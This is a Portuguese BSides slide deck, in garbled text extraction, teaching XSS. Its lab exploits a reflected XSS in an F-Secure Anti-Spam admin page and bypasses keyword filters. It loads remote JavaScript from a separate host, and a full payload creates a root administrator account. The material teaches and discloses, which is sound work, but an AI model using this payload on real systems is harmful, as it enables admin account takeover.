42
XSS Injec)on indo além do Alert(); By William Costa

Xss injection indo alem do alert.v 0.4

Embed Size (px)

DESCRIPTION

Slides Apresentados no Bisides Ed. 9

Citation preview

Page 1: Xss injection indo alem do alert.v 0.4

XSS  Injec)on  indo  além  do  Alert();

 

By    

William  Costa  

Page 2: Xss injection indo alem do alert.v 0.4

             

William  Costa  

Consultor  em  Segurança  da  Informação.  CISSP,  C|EH,  E|CSA,  CPT,  CEPT,  LPI.  

Page 3: Xss injection indo alem do alert.v 0.4

TOP  10  OWASP

•  OWASP  Top  10  –  2013      •  A1  –  InjecJon      •  A2  –  Broken  AuthenJcaJon  and  Session  Management      •  A3  –  Cross-­‐Site  Scrip0ng  (XSS)      •  A4  –  Insecure  Direct  Object  References      •  A5  –  Security  MisconfiguraJon      •  A6  –  SensiJve  Data  Exposure      •  A7  –  Missing  FuncJon  Level  Access  Control      •  A8  –  Cross-­‐Site  Request  Forgery  (CSRF)      •  A9  –  Using  Known  Vulnerable  Components      •  A10  –  Unvalidated  Redirects  and  Forwards          

Page 4: Xss injection indo alem do alert.v 0.4

Cross-­‐Site  Scrip)ng  (XSS)

• Cross-­‐Site  ScripJng  é  composto  por  envio  de  scripts  maliciosos  em  uma  requisição  de  um  usuário  ao  site  legiJmo,  sem  ser  validado  corretamente  pela  aplicação,  dessa  forma  o  script  será  executado  pelo  browser  da  viJma.    

Page 5: Xss injection indo alem do alert.v 0.4

Composição  do  XSS.  Os  XSS’s  normalmente  são  divididos  em  3  categorias  

 Reflected  XSS    

           Stored  XSS    

   

                 DOM  Based  XSS      

Page 6: Xss injection indo alem do alert.v 0.4

Reflected  XSS

Quando  o  usuário  envia  uma  requisição  durante  uma  consulta  em  uma  pagina  de  pesquisa  ou  em  uma  variável. Ex:  hSp://www.vulneravel.com.br/no)cias/?)po=R"><script>alert("Reflected  XSS")</script>  

Page 7: Xss injection indo alem do alert.v 0.4

Stored  XSS Isso  ocorre  quando  o  Script  e  salvo  no  servidor  sendo  assim  carregado  a  cada  vez  que  a  pagina  for  acessada. Ex:  Mensagem  em  um  fórum,  formulares  de  compras,  entre  outros  

Após  adicionar  o  comentário  qualquer  pessoa  que  acesse  o  

Forum  recebem  a  tela  

 

Page 8: Xss injection indo alem do alert.v 0.4

DOM  XSS O  DOM  XSS  é  quando  é  inserido  o  payload  dentro  de  uma  variável  u)lizada  por  um  script     Ex:  Campos  de  interação  em  tempo  real.

           <img  src=search  onerror=alert('DOM_XSS')>  

 

Page 9: Xss injection indo alem do alert.v 0.4

Chega  de  teoria  e  vamos  a  Diversão.  

Page 10: Xss injection indo alem do alert.v 0.4

Vamos  Começar  em  nossa  Oficina

Vamos  fazer  nosso  LAB  em  um  F-­‐Secure  que  já    foi  corrigida  a  vulnerabilidade.  J Topologia  no  LAB  

Page 11: Xss injection indo alem do alert.v 0.4

Encontrando  a  Falha

Alvo  :  F-­‐Secure  • AnJSpam  Logue  na  aplicação:  hlps://10.0.3.133:10000    User:  admin  Pass:  mudar@123  

Page 12: Xss injection indo alem do alert.v 0.4

Encontrando  a  Falha

Após  logar  acesse  Administrator  >  Administrators  >  Add  

Page 13: Xss injection indo alem do alert.v 0.4

Encontrando  a  Falha Abra  o  Iframe  em  uma  nova  aba  Clicando  como  botão  direito  

Page 14: Xss injection indo alem do alert.v 0.4

Encontrando  a  Falha Agora  já  temos  em  nosso  browser  a  seguinte  URL    hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=1              

Page 15: Xss injection indo alem do alert.v 0.4

Encontrando  a  Falha Vamos  iniciar  com  o  teste  das  variáveis    Alteramos  link  de:      hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=1    Para:  hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa    e  acessamos  o  link              

Page 16: Xss injection indo alem do alert.v 0.4

Encontrando  a  Falha Vamos  verificar  oque  aconteceu  clicando  com  o  botão  direito  na  pagina  acessada  e  analisando  o  seu  código  fonte.  

             Damos  um  Find  (CRTL+F)          

           Como  podemos  ver  a  variável  “new”  é              uJlizada  como  valor  em  um  campo  de              Input  

         

Page 17: Xss injection indo alem do alert.v 0.4

Encontrando  a  Falha Dessa  forma  vamos  verificar  se  é  possível  inserir  tags  HTML  neste  campo  Nossa  URL  fica  desta  forma:  hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<s>  

                   

             Analisando  novamente  vemos  que  não  ocorreu  o  tratamento  da  nossa  TAG    J            

Page 18: Xss injection indo alem do alert.v 0.4

Explorando  a  Falha Já  temos  a  nossa  falha  vamos  agora  testar  a  injeção  de  javascript    Nossa  url  ficará  assim:  hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<script>alert(2);</script>                    Tivemos  o  acesso  negado  L    

     

Page 19: Xss injection indo alem do alert.v 0.4

Explorando  a  Falha Vamos  descobrir  qual  parte    do  script  negou  o  acesso.  Vamos  acessar  novamente  a  URL  hlps://10.0.3.133:10000/admin  se  necessário  logamos  novamente  hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<script>  E  repeJmos  o  acesso                Outro  acesso  negado  L    

     

Page 20: Xss injection indo alem do alert.v 0.4

Explorando  a  Falha Já  desisJu  ?????  Mais  uma  tentaJva  hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<script  E  repeJmos  o  acesso                  Acesso  concedido  J  

     

Page 21: Xss injection indo alem do alert.v 0.4

Explorando  a  Falha Já  sabemos  que  ele  filtra  a  tag  <script>  quando  fechada    Faça  o  teste  com  as  seguintes  palavras,  ficando  assim:  hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa.js  Acesso  PermiJdo    hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa.src=  Acesso  PermiJdo  hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaahlps  Acesso  Negado    403  Forbidden  hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa</script>  Acesso  Negado    403  Forbidden    Sabemos  agora  que  é  realizado  o  Filtro  da  palavra  HTTP  em  conjunto  com  o  <script>  e  </script>              Tivemos  o  acesso  negado  L    

     

Page 22: Xss injection indo alem do alert.v 0.4

Explorando  a  Falha Recapitulando:  • A  falha  se  encontra  na  pagina  de  criação  de  novos  usuários  administradores  • Na  URL  hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=1  

• Na  variável    “new”  • Aplicação  filtra  os  seguintes  valores:  <script>  </script>  hlps  hlp          

Com  isso  em  mãos  vamos  iniciar  a  analise  para  realizar  o  Bypass  desses  filtros        

Page 23: Xss injection indo alem do alert.v 0.4

Explorando  a  Falha Bypass  do  filtro  <script>  Analisando  o  código  do  html  vemos  que  a  nossa  variável  é  inserida  no  final  da  tag  input    

<input  type=hidden  name=new  value=aaaa>  Portanto  não  precisamos  uJlizar  o  sinal  de  “>”  para  fechar  o  script  J  Nossa  url:  hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa><script  

 Fica  assim  o  nosso  código:    <input  type=hidden  name=new  value=aaaa><script>  

Page 24: Xss injection indo alem do alert.v 0.4

Explorando  a  Falha Para  o  Bypass  do  filtro  hlps,  uJlizaremos  o  Protocol  Rela0ve    suprimimos  o  protocolo,  deixaremos  o  browser  uJlizar  o  da  pagina  principal  J,  ficando  assim  o  nosso  script  final      hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aa><script  src=//10.0.3.165/xss/e.js    

 

   

 

 Para  Bypass  do  filtro  </script>    não  precisamos  nos  preocupar,  pois  ela  é  fornecida  algumas  linhas  a  frente  J      

Page 25: Xss injection indo alem do alert.v 0.4

Criando  o  Exploit Para  o  nosso  primeiro  teste  vamos  criar  um  simples  arquivo  de  texto  com  o  seguinte  conteúdo:    alert("F-­‐Secure    XSS");    Salve  o  arquivo  com  nome_que_desejar.js  

Page 26: Xss injection indo alem do alert.v 0.4

Criando  o  Exploit Acesso  o  Servidor  via  FTP  para  enviar  o  arquivo  ou  pode  uJlizar  o  cliente  disponível  em  hlp://10.200.210.8/tools    FTP  Servidor  :  10.200.210.8  Usuário:  xss  Senha:  xss    Salve  o  arquivo  na  raiz  mesmo  do  FTP.    

Page 27: Xss injection indo alem do alert.v 0.4

Criando  o  Exploit Com  o  nosso  arquivo  já  no  nosso  servidor  podemos  ver  como  fica  nossa  URL  hlps://10.200.210.133:10000/admin?module=SysUser&method=user&new=1><script  src=//10.200.210.8/xss/nome_do_seu_xss.js  

 

 

   

Realizando  o  acesso  temos  o  nosso  alert();    

Mas,  o  Jtulo  não  é  além  do  alert  ?    

   

Page 28: Xss injection indo alem do alert.v 0.4

Criando  o  Exploit Vamos  deixar  as  coisas  mais  interessantes    A  nossa  vulnerabilidade  se  encontra  na  pagina  de  criação  de  novos  usuários.  Então  o  nosso  exploit  deve  preencher  os  campos:  

Administrator  ID  

Password  

Re-­‐type  Password  

Role  

 

E  ainda  clicar  em  ADD    

 

Muita  coisa  ?    

Page 29: Xss injection indo alem do alert.v 0.4

Criando  o  Exploit Vamos  começar  recriando  o  campo  de  Input  que  foi  quebrado  quando  inserimos  o  nosso  Exploit  

Antes  do  Exploit   Após  o  Exploit  

Page 30: Xss injection indo alem do alert.v 0.4

Criando  o  Exploit  Isso  ocorreu  pois  o  nosso  exploit  e  inserido  antes  do  campo  e  com  não  podemos  fechar  a  nossa  tag  </script>  ela  considera  tudo  um  jascript  até  a  próxima  tag          </script>  no  no  código.      Código  enviado  ao  browser  do  usuário:    <input  type=hidden  name=new  value=1><script  src=//10.200.210.8/xss/william.js>  <input  type=hidden  name=old_password  value=><tr><td  class=ppsse}ngslabel  width=200  id='id_text'  valign=top>Administrator  ID</td><td><input  type="text"  id='id'  name="id"  class=formInput  value=""  style="width:200"  ppstype="admin_id"></td></tr><script  language="Javascript"  type="text/javascript">  document.main_form.id.focus();</script>  

Page 31: Xss injection indo alem do alert.v 0.4

Criando  o  Exploit • Para  isso  vamos  usar  o  Method  document.write(exp1,exp2,exp3,...)  Ficando  assim  em  nosso  arquivo  js.  document.write("<input    id='id'  name='id'  value='user.exploit'>");  Que  vai  criar  um  Input  no  código  enviado  ao  usuário.  

Page 32: Xss injection indo alem do alert.v 0.4

Criando  o  Exploit • Agora  temos  que  preencher  os  campos  de  Password,  Role  e  clicar  em  ADD  J    Para  isso  vamos  uJlizar  o  Method  document.getElementsByName()  para  localizar  o  campo  pelo  nome,  [0]  é  para  selecionar  a  primeira  ocorrência  e  o  value  é  para  setar  um  valor  ao  campo  que  seria  nossa  password:  document.getElementsByName('user_newpassword_1')[0].value  =  "admin@123";  document.getElementsByName('user_newpassword_2')[0].value  =  "admin@123";  document.getElementsByName('selectedrole')[0].value  =  "root";      As  duas  primeiras  linhas  são  para  a  senha  e  a  terceira  é  para  setar  o  Role  (perfil)  como  sendo  root.        

Page 33: Xss injection indo alem do alert.v 0.4

Criando  o  Exploit • Vamos  testar  o  nosso  exploit  adicionando  as  linhas  abaixo  em  nosso  arquivo  js  e  enviado  ao  servidor,  ficando  assim  o  arquivo  

document.write("<input    id='id'  name='id'  value='user.exploit'>");  document.getElementsByName('user_newpassword_1')[0].value  =  "admin@123";  document.getElementsByName('user_newpassword_2')[0].value  =  "admin@123";  document.getElementsByName('selectedrole')[0].value  =  "root";        

Page 34: Xss injection indo alem do alert.v 0.4

Criando  o  Exploit • Vamos  realizar  novamente  o  acesso:  

 L   Como  podemos  ver  apenas  o  campo  com  o  nome  do  usuário  foi  preenchido    Vamos  habilitar  o  debug  do  Browser  e  ver  o  que  aconteceu.      

Page 35: Xss injection indo alem do alert.v 0.4

Criando  o  Exploit • AJvamos  o  Debug  do  firefox  em  Tools  >  Web  Developer  >  Web  Console  :  Habilitando  o  JS  temos:        

   Vemos  que  na  ulJma  linha  o  nossos  document.getElementsByName  está  com  erro,  sendo  como  não  definido    

   

Page 36: Xss injection indo alem do alert.v 0.4

Criando  o  Exploit • Vamos  analisar  o  que  ocorreu,  o  javascript  por  default  é  executado  pelo  browser  assim  que  é  chamado,  o  nosso  script  é  inserido  antes  dos  campos  de  password  e  role  do  código  enviado  ao  usuário,  como  o  JS  é  executado  logo  assim  que  referenciado,  acaba  por  não  ter  os  campos  para  o  preenchimento.  

• Como  resolver?    Colocando  o  nosso  código  em  uma  função  e  setando  um  Jmeout  J      

Page 37: Xss injection indo alem do alert.v 0.4

Criando  o  Exploit •  Ficando  assim  o  nosso  código  no  arquivo  js:  document.write("<input    id='id'  name='id'  value='user.exploit'>");  funcJon  espera()  {  document.getElementsByName('user_newpassword_1')[0].value  =  "admin@123";  document.getElementsByName('user_newpassword_2')[0].value  =  "admin@123";  document.getElementsByName('selectedrole')[0].value  =  "root";  }  setTimeout("espera(\"Jmeout\")",  1000);    

Page 38: Xss injection indo alem do alert.v 0.4

Criando  o  Exploit •  Enviamos  o  nosso  novo  arquivo  ao  servidor  e  acessamos  novamente  o  link:  

•  Sucesso  J    

Para  finalizar  o  nosso  Exploit  ainda  falta  enviar  os  dados.    

 

Page 39: Xss injection indo alem do alert.v 0.4

Criando  o  Exploit • UJlizaremos  o  Method  submit(),  ficando  assim  o  nosso  script  final:  document.write("<input    id='id'  name='id'  value='user.exploit'>");  funcJon  espera()  {  document.getElementsByName('user_newpassword_1')[0].value  =  "admin@123";  document.getElementsByName('user_newpassword_2')[0].value  =  "admin@123";  document.getElementsByName('selectedrole')[0].value  =  "root";  document.main_form.submit();  }  setTimeout("espera(\"Jmeout\")",  1000);    Não  esqueça  de  salvar  no  arquivo  js  e  enviar  ao  nosso  servidor  

 

Page 40: Xss injection indo alem do alert.v 0.4

Criando  o  Exploit •  Enviamos  o  nosso  novo  arquivo  ao  servidor  e  acessamos  novamente  o  link:  

 

 

Page 41: Xss injection indo alem do alert.v 0.4

Conclusão.

•  Finalizamos  a  exploração  com  nosso  exploit  e  o  resultado  foi  a  criação  de  um  novo  usuário  de  administração  J.  

   

Page 42: Xss injection indo alem do alert.v 0.4

<script>alert(String(/Perguntas?/).substr(1,10)  );  </script>

william.costa  arroba  gmail.com